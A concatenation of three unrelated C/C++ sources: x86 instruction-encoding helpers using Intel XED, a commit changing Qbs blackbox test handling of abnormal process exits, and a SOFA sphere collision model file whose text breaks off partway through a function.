xed_reg_enum_t GetUnusedRegister(xed_reg_enum_t used_register, int operand_width) {
switch (operand_width) {
case 16:
if (used_register == XED_REG_AX) return XED_REG_CX;
return XED_REG_AX;
case 32:
if (used_register == XED_REG_EAX) return XED_REG_ECX;
return XED_REG_EAX;
case 64:
if (used_register == XED_REG_RAX) return XED_REG_RCX;
return XED_REG_RAX;
default:
FATAL("Unexpected operand width");
}
}
xed_reg_enum_t GetFullSizeRegister(xed_reg_enum_t r, int child_ptr_size) {
if (child_ptr_size == 8) {
return xed_get_largest_enclosing_register(r);
} else {
return xed_get_largest_enclosing_register32(r);
}
}
xed_reg_enum_t Get8BitRegister(xed_reg_enum_t r) {
switch (r) {
case XED_REG_AX:
case XED_REG_EAX:
case XED_REG_RAX:
return XED_REG_AL;
case XED_REG_CX:
case XED_REG_ECX:
case XED_REG_RCX:
return XED_REG_CL;
case XED_REG_DX:
case XED_REG_EDX:
case XED_REG_RDX:
return XED_REG_DL;
case XED_REG_BX:
case XED_REG_EBX:
case XED_REG_RBX:
return XED_REG_BL;
case XED_REG_SP:
case XED_REG_ESP:
case XED_REG_RSP:
return XED_REG_SPL;
case XED_REG_BP:
case XED_REG_EBP:
case XED_REG_RBP:
return XED_REG_BPL;
case XED_REG_SI:
case XED_REG_ESI:
case XED_REG_RSI:
return XED_REG_SIL;
case XED_REG_DI:
case XED_REG_EDI:
case XED_REG_RDI:
return XED_REG_DIL;
case XED_REG_R8W:
case XED_REG_R8D:
case XED_REG_R8:
return XED_REG_R8B;
case XED_REG_R9W:
case XED_REG_R9D:
case XED_REG_R9:
return XED_REG_R9B;
case XED_REG_R10W:
case XED_REG_R10D:
case XED_REG_R10:
return XED_REG_R10B;
case XED_REG_R11W:
case XED_REG_R11D:
case XED_REG_R11:
return XED_REG_R11B;
case XED_REG_R12W:
case XED_REG_R12D:
case XED_REG_R12:
return XED_REG_R12B;
case XED_REG_R13W:
case XED_REG_R13D:
case XED_REG_R13:
return XED_REG_R13B;
case XED_REG_R14W:
case XED_REG_R14D:
case XED_REG_R14:
return XED_REG_R14B;
case XED_REG_R15W:
case XED_REG_R15D:
case XED_REG_R15:
return XED_REG_R15B;
default:
FATAL("Unknown register");
}
}
uint32_t Push(xed_state_t *dstate, xed_reg_enum_t r, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
// push destination register
xed_encoder_request_t push;
xed_encoder_request_zero_set_mode(&push, dstate);
xed_encoder_request_set_iclass(&push, XED_ICLASS_PUSH);
xed_encoder_request_set_effective_operand_width(&push, dstate->stack_addr_width * 8);
xed_encoder_request_set_effective_address_size(&push, dstate->stack_addr_width * 8);
xed_encoder_request_set_reg(&push, XED_OPERAND_REG0, GetFullSizeRegister(r, dstate->stack_addr_width));
xed_encoder_request_set_operand_order(&push, 0, XED_OPERAND_REG0);
xed_error = xed_encode(&push, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t Pop(xed_state_t *dstate, xed_reg_enum_t r, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
// push destination register
xed_encoder_request_t pop;
xed_encoder_request_zero_set_mode(&pop, dstate);
xed_encoder_request_set_iclass(&pop, XED_ICLASS_POP);
xed_encoder_request_set_effective_operand_width(&pop, dstate->stack_addr_width * 8);
xed_encoder_request_set_effective_address_size(&pop, dstate->stack_addr_width * 8);
xed_encoder_request_set_reg(&pop, XED_OPERAND_REG0, GetFullSizeRegister(r, dstate->stack_addr_width));
xed_encoder_request_set_operand_order(&pop, 0, XED_OPERAND_REG0);
xed_error = xed_encode(&pop, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
void CopyOperandFromInstruction(xed_decoded_inst_t *src,
xed_encoder_request_t *dest,
xed_operand_enum_t src_operand_name,
xed_operand_enum_t dest_operand_name,
int dest_operand_index,
size_t stack_offset)
{
if ((src_operand_name >= XED_OPERAND_REG0) && (src_operand_name <= XED_OPERAND_REG8) &&
(dest_operand_name >= XED_OPERAND_REG0) && (dest_operand_name <= XED_OPERAND_REG8))
{
xed_reg_enum_t r = xed_decoded_inst_get_reg(src, src_operand_name);
xed_encoder_request_set_reg(dest, dest_operand_name, r);
} else if (src_operand_name == XED_OPERAND_MEM0 && dest_operand_name == XED_OPERAND_MEM0) {
xed_encoder_request_set_mem0(dest);
xed_reg_enum_t base_reg = xed_decoded_inst_get_base_reg(src, 0);
xed_encoder_request_set_base0(dest, base_reg);
xed_encoder_request_set_seg0(dest, xed_decoded_inst_get_seg_reg(src, 0));
xed_encoder_request_set_index(dest, xed_decoded_inst_get_index_reg(src, 0));
xed_encoder_request_set_scale(dest, xed_decoded_inst_get_scale(src, 0));
// in case where base is rsp, disp needs fixing
if ((base_reg == XED_REG_SP) || (base_reg == XED_REG_ESP) || (base_reg == XED_REG_RSP)) {
int64_t disp = xed_decoded_inst_get_memory_displacement(src, 0) + stack_offset;
// always use disp width 4 in this case
xed_encoder_request_set_memory_displacement(dest, disp, 4);
} else {
xed_encoder_request_set_memory_displacement(dest,
xed_decoded_inst_get_memory_displacement(src, 0),
xed_decoded_inst_get_memory_displacement_width(src, 0));
}
// int length = xed_decoded_inst_get_memory_operand_length(xedd, 0);
xed_encoder_request_set_memory_operand_length(dest,
xed_decoded_inst_get_memory_operand_length(src, 0));
} else if (src_operand_name == XED_OPERAND_IMM0 && dest_operand_name == XED_OPERAND_IMM0) {
uint64_t imm = xed_decoded_inst_get_unsigned_immediate(src);
uint32_t width = xed_decoded_inst_get_immediate_width(src);
xed_encoder_request_set_uimm0(dest, imm, width);
} else if (src_operand_name == XED_OPERAND_IMM0SIGNED && dest_operand_name == XED_OPERAND_IMM0SIGNED) {
int32_t imm = xed_decoded_inst_get_signed_immediate(src);
uint32_t width = xed_decoded_inst_get_immediate_width(src);
xed_encoder_request_set_simm(dest, imm, width);
} else {
FATAL("Unsupported param");
}
xed_encoder_request_set_operand_order(dest, dest_operand_index, dest_operand_name);
}
uint32_t Mov(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t base_reg, int32_t displacement, xed_reg_enum_t r2, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t mov;
xed_encoder_request_zero_set_mode(&mov, dstate);
xed_encoder_request_set_iclass(&mov, XED_ICLASS_MOV);
xed_encoder_request_set_effective_operand_width(&mov, operand_width);
xed_encoder_request_set_effective_address_size(&mov, dstate->stack_addr_width * 8);
xed_encoder_request_set_mem0(&mov);
xed_encoder_request_set_base0(&mov, base_reg);
xed_encoder_request_set_memory_displacement(&mov, displacement, 4);
// int length = xed_decoded_inst_get_memory_operand_length(xedd, 0);
xed_encoder_request_set_memory_operand_length(&mov, operand_width / 8);
xed_encoder_request_set_operand_order(&mov, 0, XED_OPERAND_MEM0);
xed_encoder_request_set_reg(&mov, XED_OPERAND_REG0, r2);
xed_encoder_request_set_operand_order(&mov, 1, XED_OPERAND_REG0);
xed_error = xed_encode(&mov, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t Lzcnt(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t dest_reg, xed_reg_enum_t src_reg, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t lzcnt;
xed_encoder_request_zero_set_mode(&lzcnt, dstate);
xed_encoder_request_set_iclass(&lzcnt, XED_ICLASS_LZCNT);
xed_encoder_request_set_effective_operand_width(&lzcnt, operand_width);
//xed_encoder_request_set_effective_address_size(&lzcnt, operand_width);
xed_encoder_request_set_reg(&lzcnt, XED_OPERAND_REG0, dest_reg);
xed_encoder_request_set_operand_order(&lzcnt, 0, XED_OPERAND_REG0);
xed_encoder_request_set_reg(&lzcnt, XED_OPERAND_REG1, src_reg);
xed_encoder_request_set_operand_order(&lzcnt, 1, XED_OPERAND_REG1);
xed_error = xed_encode(&lzcnt, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t CmpImm8(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t dest_reg, uint64_t imm, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t cmp;
xed_encoder_request_zero_set_mode(&cmp, dstate);
xed_encoder_request_set_iclass(&cmp, XED_ICLASS_CMP);
xed_encoder_request_set_effective_operand_width(&cmp, operand_width);
// xed_encoder_request_set_effective_address_size(&lzcnt, operand_width);
xed_encoder_request_set_reg(&cmp, XED_OPERAND_REG0, dest_reg);
xed_encoder_request_set_operand_order(&cmp, 0, XED_OPERAND_REG0);
xed_encoder_request_set_uimm0_bits(&cmp, imm, 8);
xed_encoder_request_set_operand_order(&cmp, 1, XED_OPERAND_IMM0);
xed_error = xed_encode(&cmp, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t GetInstructionLength(xed_encoder_request_t *inst) {
unsigned int olen;
unsigned char tmp[15];
xed_error_enum_t xed_error;
xed_error = xed_encode(inst, tmp, sizeof(tmp), &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
void FixRipDisplacement(xed_encoder_request_t *inst, size_t mem_address, size_t fixed_instruction_address) {
// fake displacement, just to get length
xed_encoder_request_set_memory_displacement(inst, 0x7777777, 4);
uint32_t inst_length = GetInstructionLength(inst);
size_t instruction_end_addr = fixed_instruction_address + inst_length;
int64_t fixed_disp = (int64_t)(mem_address) - (int64_t)(instruction_end_addr);
if (llabs(fixed_disp) > 0x7FFFFFFF) FATAL("Offset larger than 2G");
xed_encoder_request_set_memory_displacement(inst, fixed_disp, 4);
}
<|endoftext|>
|
<commit_before>/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qbs.
**
** $QT_BEGIN_LICENSE:GPL-EXCEPT$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "tst_blackboxbase.h"
#include "../shared.h"
#include <tools/fileinfo.h>
#include <tools/hostosinfo.h>
#include <tools/installoptions.h>
#include <tools/profile.h>
#include <tools/settings.h>
#include <QtCore/qdiriterator.h>
#include <QtCore/qjsondocument.h>
#include <QtCore/qtemporarydir.h>
using qbs::Internal::HostOsInfo;
using qbs::Internal::removeDirectoryWithContents;
using qbs::InstallOptions;
using qbs::Profile;
using qbs::Settings;
static QString initQbsExecutableFilePath()
{
QString filePath = QCoreApplication::applicationDirPath() + QLatin1String("/qbs");
filePath = HostOsInfo::appendExecutableSuffix(QDir::cleanPath(filePath));
return filePath;
}
static bool supportsBuildDirectoryOption(const QString &command) {
return !(QStringList() << "help" << "config" << "config-ui" << "qmltypes"
<< "setup-android" << "setup-qt" << "setup-toolchains" << "create-project")
.contains(command);
}
TestBlackboxBase::TestBlackboxBase(const QString &testDataSrcDir, const QString &testName)
: testDataDir(testWorkDir(testName)),
testSourceDir(QDir::cleanPath(testDataSrcDir)),
qbsExecutableFilePath(initQbsExecutableFilePath()),
defaultInstallRoot(relativeBuildDir() + QLatin1Char('/') + InstallOptions::defaultInstallRoot())
{
QLocale::setDefault(QLocale::c());
}
int TestBlackboxBase::runQbs(const QbsRunParameters ¶ms)
{
QStringList args;
if (!params.command.isEmpty())
args << params.command;
if (supportsBuildDirectoryOption(params.command)) {
args.append(QLatin1String("-d"));
args.append(params.buildDirectory.isEmpty() ? QLatin1String(".") : params.buildDirectory);
}
args << params.arguments;
if (params.useProfile)
args.append(QLatin1String("profile:") + profileName());
QProcess process;
process.setProcessEnvironment(params.environment);
process.start(qbsExecutableFilePath, args);
const int waitTime = 10 * 60000;
if (!process.waitForStarted() || !process.waitForFinished(waitTime)) {
m_qbsStderr = process.readAllStandardError();
if (!params.expectFailure)
qDebug("%s", qPrintable(process.errorString()));
return -1;
}
m_qbsStderr = process.readAllStandardError();
m_qbsStdout = process.readAllStandardOutput();
sanitizeOutput(&m_qbsStderr);
sanitizeOutput(&m_qbsStdout);
if ((process.exitStatus() != QProcess::NormalExit
|| process.exitCode() != 0) && !params.expectFailure) {
if (!m_qbsStderr.isEmpty())
qDebug("%s", m_qbsStderr.constData());
if (!m_qbsStdout.isEmpty())
qDebug("%s", m_qbsStdout.constData());
}
return process.exitStatus() == QProcess::NormalExit ? process.exitCode() : -1;
}
/*!
Recursive copy from directory to another.
Note that this updates the file stamps on Linux but not on Windows.
*/
void TestBlackboxBase::ccp(const QString &sourceDirPath, const QString &targetDirPath)
{
QDir currentDir;
QDirIterator dit(sourceDirPath, QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden);
while (dit.hasNext()) {
dit.next();
const QString targetPath = targetDirPath + QLatin1Char('/') + dit.fileName();
currentDir.mkpath(targetPath);
ccp(dit.filePath(), targetPath);
}
QDirIterator fit(sourceDirPath, QDir::Files | QDir::Hidden);
while (fit.hasNext()) {
fit.next();
const QString targetPath = targetDirPath + QLatin1Char('/') + fit.fileName();
QFile::remove(targetPath); // allowed to fail
QFile src(fit.filePath());
QVERIFY2(src.copy(targetPath), qPrintable(src.errorString()));
}
}
void TestBlackboxBase::rmDirR(const QString &dir)
{
QString errorMessage;
removeDirectoryWithContents(dir, &errorMessage);
}
QByteArray TestBlackboxBase::unifiedLineEndings(const QByteArray &ba)
{
if (HostOsInfo::isWindowsHost()) {
QByteArray result;
result.reserve(ba.size());
for (int i = 0; i < ba.size(); ++i) {
char c = ba.at(i);
if (c != '\r')
result.append(c);
}
return result;
} else {
return ba;
}
}
void TestBlackboxBase::sanitizeOutput(QByteArray *ba)
{
if (HostOsInfo::isWindowsHost())
ba->replace('\r', "");
}
void TestBlackboxBase::initTestCase()
{
QVERIFY(regularFileExists(qbsExecutableFilePath));
Settings settings((QString()));
if (!settings.profiles().contains(profileName()))
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' could not be found. Please set it up on your machine."));
Profile buildProfile(profileName(), &settings);
QVariant qtBinPath = buildProfile.value(QLatin1String("Qt.core.binPath"));
if (!qtBinPath.isValid())
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' is not a valid Qt profile."));
if (!QFile::exists(qtBinPath.toString()))
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' points to an invalid Qt path."));
// Initialize the test data directory.
QVERIFY(testDataDir != testSourceDir);
rmDirR(testDataDir);
QDir().mkpath(testDataDir);
ccp(testSourceDir, testDataDir);
QDir().mkpath(testDataDir + "/find");
ccp(testSourceDir + "/../find", testDataDir + "/find");
}
QString TestBlackboxBase::findExecutable(const QStringList &fileNames)
{
const QStringList path = QString::fromLocal8Bit(qgetenv("PATH"))
.split(HostOsInfo::pathListSeparator(), QString::SkipEmptyParts);
foreach (const QString &fileName, fileNames) {
QFileInfo fi(fileName);
if (fi.isAbsolute())
return fi.exists() ? fileName : QString();
foreach (const QString &ppath, path) {
const QString fullPath
= HostOsInfo::appendExecutableSuffix(ppath + QLatin1Char('/') + fileName);
if (QFileInfo(fullPath).exists())
return QDir::cleanPath(fullPath);
}
}
return QString();
}
QMap<QString, QString> TestBlackboxBase::findJdkTools(int *status)
{
QTemporaryDir temp;
QDir::setCurrent(testDataDir + "/find");
QbsRunParameters params = QStringList() << "-f" << "find-jdk.qbs";
params.buildDirectory = temp.path();
const int res = runQbs(params);
if (status)
*status = res;
QFile file(temp.path() + "/" + relativeProductBuildDir("find-jdk") + "/jdk.json");
if (!file.open(QIODevice::ReadOnly))
return QMap<QString, QString> { };
const auto tools = QJsonDocument::fromJson(file.readAll()).toVariant().toMap();
return QMap<QString, QString> {
{"java", QDir::fromNativeSeparators(tools["java"].toString())},
{"javac", QDir::fromNativeSeparators(tools["javac"].toString())},
{"jar", QDir::fromNativeSeparators(tools["jar"].toString())}
};
}
<commit_msg>Blackbox tests: Always fail if qbs did not finish regularly<commit_after>/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qbs.
**
** $QT_BEGIN_LICENSE:GPL-EXCEPT$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "tst_blackboxbase.h"
#include "../shared.h"
#include <tools/fileinfo.h>
#include <tools/hostosinfo.h>
#include <tools/installoptions.h>
#include <tools/profile.h>
#include <tools/settings.h>
#include <QtCore/qdiriterator.h>
#include <QtCore/qjsondocument.h>
#include <QtCore/qtemporarydir.h>
using qbs::Internal::HostOsInfo;
using qbs::Internal::removeDirectoryWithContents;
using qbs::InstallOptions;
using qbs::Profile;
using qbs::Settings;
static QString initQbsExecutableFilePath()
{
QString filePath = QCoreApplication::applicationDirPath() + QLatin1String("/qbs");
filePath = HostOsInfo::appendExecutableSuffix(QDir::cleanPath(filePath));
return filePath;
}
static bool supportsBuildDirectoryOption(const QString &command) {
return !(QStringList() << "help" << "config" << "config-ui" << "qmltypes"
<< "setup-android" << "setup-qt" << "setup-toolchains" << "create-project")
.contains(command);
}
TestBlackboxBase::TestBlackboxBase(const QString &testDataSrcDir, const QString &testName)
: testDataDir(testWorkDir(testName)),
testSourceDir(QDir::cleanPath(testDataSrcDir)),
qbsExecutableFilePath(initQbsExecutableFilePath()),
defaultInstallRoot(relativeBuildDir() + QLatin1Char('/') + InstallOptions::defaultInstallRoot())
{
QLocale::setDefault(QLocale::c());
}
int TestBlackboxBase::runQbs(const QbsRunParameters ¶ms)
{
QStringList args;
if (!params.command.isEmpty())
args << params.command;
if (supportsBuildDirectoryOption(params.command)) {
args.append(QLatin1String("-d"));
args.append(params.buildDirectory.isEmpty() ? QLatin1String(".") : params.buildDirectory);
}
args << params.arguments;
if (params.useProfile)
args.append(QLatin1String("profile:") + profileName());
QProcess process;
process.setProcessEnvironment(params.environment);
process.start(qbsExecutableFilePath, args);
const int waitTime = 10 * 60000;
if (!process.waitForStarted() || !process.waitForFinished(waitTime)
|| process.exitStatus() != QProcess::NormalExit) {
m_qbsStderr = process.readAllStandardError();
QTest::qFail("qbs did not run correctly", __FILE__, __LINE__);
qDebug("%s", qPrintable(process.errorString()));
return -1;
}
m_qbsStderr = process.readAllStandardError();
m_qbsStdout = process.readAllStandardOutput();
sanitizeOutput(&m_qbsStderr);
sanitizeOutput(&m_qbsStdout);
if ((process.exitStatus() != QProcess::NormalExit
|| process.exitCode() != 0) && !params.expectFailure) {
if (!m_qbsStderr.isEmpty())
qDebug("%s", m_qbsStderr.constData());
if (!m_qbsStdout.isEmpty())
qDebug("%s", m_qbsStdout.constData());
}
return process.exitCode();
}
/*!
Recursive copy from directory to another.
Note that this updates the file stamps on Linux but not on Windows.
*/
void TestBlackboxBase::ccp(const QString &sourceDirPath, const QString &targetDirPath)
{
QDir currentDir;
QDirIterator dit(sourceDirPath, QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden);
while (dit.hasNext()) {
dit.next();
const QString targetPath = targetDirPath + QLatin1Char('/') + dit.fileName();
currentDir.mkpath(targetPath);
ccp(dit.filePath(), targetPath);
}
QDirIterator fit(sourceDirPath, QDir::Files | QDir::Hidden);
while (fit.hasNext()) {
fit.next();
const QString targetPath = targetDirPath + QLatin1Char('/') + fit.fileName();
QFile::remove(targetPath); // allowed to fail
QFile src(fit.filePath());
QVERIFY2(src.copy(targetPath), qPrintable(src.errorString()));
}
}
void TestBlackboxBase::rmDirR(const QString &dir)
{
QString errorMessage;
removeDirectoryWithContents(dir, &errorMessage);
}
QByteArray TestBlackboxBase::unifiedLineEndings(const QByteArray &ba)
{
if (HostOsInfo::isWindowsHost()) {
QByteArray result;
result.reserve(ba.size());
for (int i = 0; i < ba.size(); ++i) {
char c = ba.at(i);
if (c != '\r')
result.append(c);
}
return result;
} else {
return ba;
}
}
void TestBlackboxBase::sanitizeOutput(QByteArray *ba)
{
if (HostOsInfo::isWindowsHost())
ba->replace('\r', "");
}
void TestBlackboxBase::initTestCase()
{
QVERIFY(regularFileExists(qbsExecutableFilePath));
Settings settings((QString()));
if (!settings.profiles().contains(profileName()))
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' could not be found. Please set it up on your machine."));
Profile buildProfile(profileName(), &settings);
QVariant qtBinPath = buildProfile.value(QLatin1String("Qt.core.binPath"));
if (!qtBinPath.isValid())
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' is not a valid Qt profile."));
if (!QFile::exists(qtBinPath.toString()))
QFAIL(QByteArray("The build profile '" + profileName().toLocal8Bit() +
"' points to an invalid Qt path."));
// Initialize the test data directory.
QVERIFY(testDataDir != testSourceDir);
rmDirR(testDataDir);
QDir().mkpath(testDataDir);
ccp(testSourceDir, testDataDir);
QDir().mkpath(testDataDir + "/find");
ccp(testSourceDir + "/../find", testDataDir + "/find");
}
QString TestBlackboxBase::findExecutable(const QStringList &fileNames)
{
const QStringList path = QString::fromLocal8Bit(qgetenv("PATH"))
.split(HostOsInfo::pathListSeparator(), QString::SkipEmptyParts);
foreach (const QString &fileName, fileNames) {
QFileInfo fi(fileName);
if (fi.isAbsolute())
return fi.exists() ? fileName : QString();
foreach (const QString &ppath, path) {
const QString fullPath
= HostOsInfo::appendExecutableSuffix(ppath + QLatin1Char('/') + fileName);
if (QFileInfo(fullPath).exists())
return QDir::cleanPath(fullPath);
}
}
return QString();
}
QMap<QString, QString> TestBlackboxBase::findJdkTools(int *status)
{
QTemporaryDir temp;
QDir::setCurrent(testDataDir + "/find");
QbsRunParameters params = QStringList() << "-f" << "find-jdk.qbs";
params.buildDirectory = temp.path();
const int res = runQbs(params);
if (status)
*status = res;
QFile file(temp.path() + "/" + relativeProductBuildDir("find-jdk") + "/jdk.json");
if (!file.open(QIODevice::ReadOnly))
return QMap<QString, QString> { };
const auto tools = QJsonDocument::fromJson(file.readAll()).toVariant().toMap();
return QMap<QString, QString> {
{"java", QDir::fromNativeSeparators(tools["java"].toString())},
{"javac", QDir::fromNativeSeparators(tools["javac"].toString())},
{"jar", QDir::fromNativeSeparators(tools["jar"].toString())}
};
}
<|endoftext|>
|
<commit_before>/******************************************************************************
* SOFA, Simulation Open-Framework Architecture, version 1.0 beta 4 *
* (c) 2006-2009 MGH, INRIA, USTL, UJF, CNRS *
* *
* This library is free software; you can redistribute it and/or modify it *
* under the terms of the GNU Lesser General Public License as published by *
* the Free Software Foundation; either version 2.1 of the License, or (at *
* your option) any later version. *
* *
* This library is distributed in the hope that it will be useful, but WITHOUT *
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *
* for more details. *
* *
* You should have received a copy of the GNU Lesser General Public License *
* along with this library; if not, write to the Free Software Foundation, *
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. *
*******************************************************************************
* SOFA :: Modules *
* *
* Authors: The SOFA Team and external contributors (see Authors.txt) *
* *
* Contact information: contact@sofa-framework.org *
******************************************************************************/
#include <sofa/helper/system/config.h>
#include <sofa/helper/proximity.h>
#include <sofa/defaulttype/Mat.h>
#include <sofa/defaulttype/Vec.h>
#include <sofa/core/collision/Intersection.inl>
#include <iostream>
#include <algorithm>
#include <sofa/helper/io/SphereLoader.h>
#include <sofa/helper/system/FileRepository.h>
#include <sofa/component/collision/SphereModel.h>
#include <sofa/component/collision/CubeModel.h>
#include <sofa/core/ObjectFactory.h>
#include <sofa/helper/system/gl.h>
#include <sofa/helper/system/glut.h>
#include <sofa/core/topology/BaseMeshTopology.h>
#include <sofa/simulation/common/Simulation.h>
namespace sofa
{
namespace component
{
namespace collision
{
using namespace sofa::defaulttype;
using namespace sofa::core::collision;
using namespace helper;
template<class DataTypes>
TSphereModel<DataTypes>::TSphereModel()
: mstate(NULL)
, radius(initData(&radius, "listRadius","Radius of each sphere"))
, defaultRadius(initData(&defaultRadius,(SReal)(1.0), "radius","Default Radius"))
, filename(initData(&filename, "fileSphere", "File .sph describing the spheres"))
{
addAlias(&filename,"filename");
}
template<class DataTypes>
TSphereModel<DataTypes>::TSphereModel(core::behavior::MechanicalState<DataTypes>* _mstate )
: mstate(_mstate)
, radius(initData(&radius, "listRadius","Radius of each sphere"))
, defaultRadius(initData(&defaultRadius,(SReal)(1.0), "radius","Default Radius"))
, filename(initData(&filename, "fileSphere", "File .sph describing the spheres"))
{
addAlias(&filename,"filename");
}
template<class DataTypes>
void TSphereModel<DataTypes>::resize(int size)
{
this->core::CollisionModel::resize(size);
if((int) radius.getValue().size() < size)
{
radius.beginEdit()->reserve(size);
while((int)radius.getValue().size() < size)
radius.beginEdit()->push_back(defaultRadius.getValue());
}
else
{
radius.beginEdit()->resize(size);
}
}
template<class DataTypes>
void TSphereModel<DataTypes>::init()
{
this->CollisionModel::init();
mstate = dynamic_cast< core::behavior::MechanicalState<DataTypes>* > (getContext()->getMechanicalState());
if (mstate==NULL)
{
serr<<"TSphereModel requires a Vec3 Mechanical Model" << sendl;
return;
}
if (radius.getValue().empty() && !filename.getValue().empty())
{
load(filename.getFullPath().c_str());
}
else
{
const int npoints = mstate->getX()->size();
resize(npoints);
}
}
template<class DataTypes>
void TSphereModel<DataTypes>::draw(int index)
{
TSphere<DataTypes> t(this,index);
Vector3 p = t.p();
glPushMatrix();
glTranslated(p[0], p[1], p[2]);
glutSolidSphere(t.r(), 32, 16);
glPopMatrix();
}
template<class DataTypes>
void TSphereModel<DataTypes>::draw()
{
if (getContext()->getShowCollisionModels())
{
glEnable(GL_LIGHTING);
glEnable(GL_COLOR_MATERIAL);
glColor4fv(getColor4f());
// Check topological modifications
const int npoints = mstate->getX()->size();
std::vector<Vector3> points;
std::vector<float> radius;
for (int i=0; i<npoints; i++)
{
TSphere<DataTypes> t(this,i);
Vector3 p = t.p();
points.push_back(p);
radius.push_back(t.r());
}
sofa::simulation::getSimulation()->DrawUtility.setLightingEnabled(true); //Enable lightning
simulation::getSimulation()->DrawUtility.drawSpheres(points, radius, Vec<4,float>(getColor4f()));
sofa::simulation::getSimulation()->DrawUtility.setLightingEnabled(false); //Disable lightning
}
glDisable(GL_LIGHTING);
glDisable(GL_COLOR_MATERIAL);
if (getPrevious()!=NULL && getContext()->getShowBoundingCollisionModels())
getPrevious()->draw();
}
template <class DataTypes>
void TSphereModel<DataTypes>::drawColourPicking(const ColourCode method)
{
using namespace sofa::core::objectmodel;
if( method == ENCODE_RELATIVEPOSITION ) return; // we pick the center of the sphere.
helper::vector<core::CollisionModel*> listCollisionModel;
this->getContext()->get<core::CollisionModel>(&listCollisionModel,BaseContext::SearchRoot);
const int totalCollisionModel = listCollisionModel.size();
helper::vector<core::CollisionModel*>::iterator iter = std::find(listCollisionModel.begin(), listCollisionModel.end(), this);
const int indexCollisionModel = std::distance(listCollisionModel.begin(),iter ) + 1 ;
float red = (float)indexCollisionModel / (float)totalCollisionModel;
// Check topological modifications
const int npoints = mstate->getX()->size();
std::vector<Vector3> points;
std::vector<float> radius;
for (int i=0; i<npoints; i++)
{
TSphere<DataTypes> t(this,i);
Coord p = t.p();
points.push_back(p);
radius.push_back(t.r());
}
glDisable(GL_LIGHTING);
glDisable(GL_COLOR_MATERIAL);
glDisable(GL_DITHER);
glDisable(GL_BLEND);
glEnable(GL_DEPTH_TEST);
float ratio;
for( int i=0; i<npoints; i++)
{
Vector3 p = points[i];
glPushMatrix();
glTranslated(p[0], p[1], p[2]);
ratio = (float)i / (float)npoints;
glColor4f(red,ratio,0,1);
glutSolidSphere(radius[i], 32, 16);
glPopMatrix();
}
}
template <class DataTypes>
sofa::defaulttype::Vector3 TSphereModel<DataTypes>::getPositionFromWeights(int index, Real /*a*/ ,Real /*b*/, Real /*c*/)
{
Element sphere(this,index);
return sphere.center();
}
template <class DataTypes>
void TSphereModel<DataTypes>::computeBoundingTree(int maxDepth)
{
CubeModel* cubeModel = createPrevious<CubeModel>();
const int npoints = mstate->getX()->size();
bool updated = false;
if (npoints != size)
{
resize(npoints);
updated = true;
cubeModel->resize(0);
}
if (!isMoving() && !cubeModel->empty() && !updated)
return; // No need to recompute BBox if immobile
cubeModel->resize(size);
if (!empty())
{
for (int i=0; i<size; i++)
{
TSphere<DataTypes> p(this,i);
const typename TSphere<DataTypes>::Real r = p.r();
const Coord minElem = p.center() - Coord(r,r,r);
const Coord maxElem = p.center() + Coord(r,r,r);
